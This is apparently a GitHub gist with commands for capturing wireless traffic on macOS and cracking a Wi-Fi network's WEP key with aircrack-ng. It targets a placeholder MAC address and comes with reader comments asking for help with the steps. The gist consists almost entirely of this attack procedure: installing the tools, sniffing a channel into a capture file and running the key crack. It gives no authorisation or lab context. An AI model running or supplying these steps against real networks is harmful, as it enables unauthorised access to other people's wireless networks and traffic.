Skip to content

Instantly share code, notes, and snippets.

Show Gist options
  • Save richardsonlima/04cfb20adb23082b54c6652cad8c0372 to your computer and use it in GitHub Desktop.
Save richardsonlima/04cfb20adb23082b54c6652cad8c0372 to your computer and use it in GitHub Desktop.
1 - Install Home Brew.
/usr/bin/ruby -e "$(curl -fsSL https://raw.githubusercontent.com/Homebrew/install/master/install)"
2 - Install aircrack-ng:
brew install aircrack-ng
3 - Install the latest Xcode, with the Command Line Tools.
//Create the following symlink:
sudo ln -s /System/Library/PrivateFrameworks/Apple80211.framework/Versions/Current/Resources/airport /usr/local/bin/airport//Figure out which channel you need to sniff:
sudo airport -s
sudo airport en1 sniff [CHANNEL]
4 - New Terminal Window
aircrack-ng -1 -a 1 -b [TARGET_MAC_ADDRESS] [CAP_FILE]
// Notes: the cap_file will be located in the /tmp/airportSniff*.cap.
@x5engine
Copy link

x5engine commented Apr 5, 2020

nice

@landy1018-hash
Copy link

I didn't get what TARGET_MAC_ADDRESS and CAP_FILE mean.

@x5engine
Copy link

// Notes: the cap_file will be located in the /tmp/airportSniff*.cap.
and the mac address

@spydee85001
Copy link

spydee85001 commented Mar 5, 2021

Hi guys,
I'm a computer student.i install aircrack ng on macos 10.11

Noted :
This command word but " ls /tmp/airportSniff*.cap" not capture how to fix it (I'm not install Wireshark)
So I think install Wireshark anybody's tell me bro

@souseishin
Copy link

help
“sudo airport en1 sniff 6“
it shows the help menu for airport
can’t proceed to the next step

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment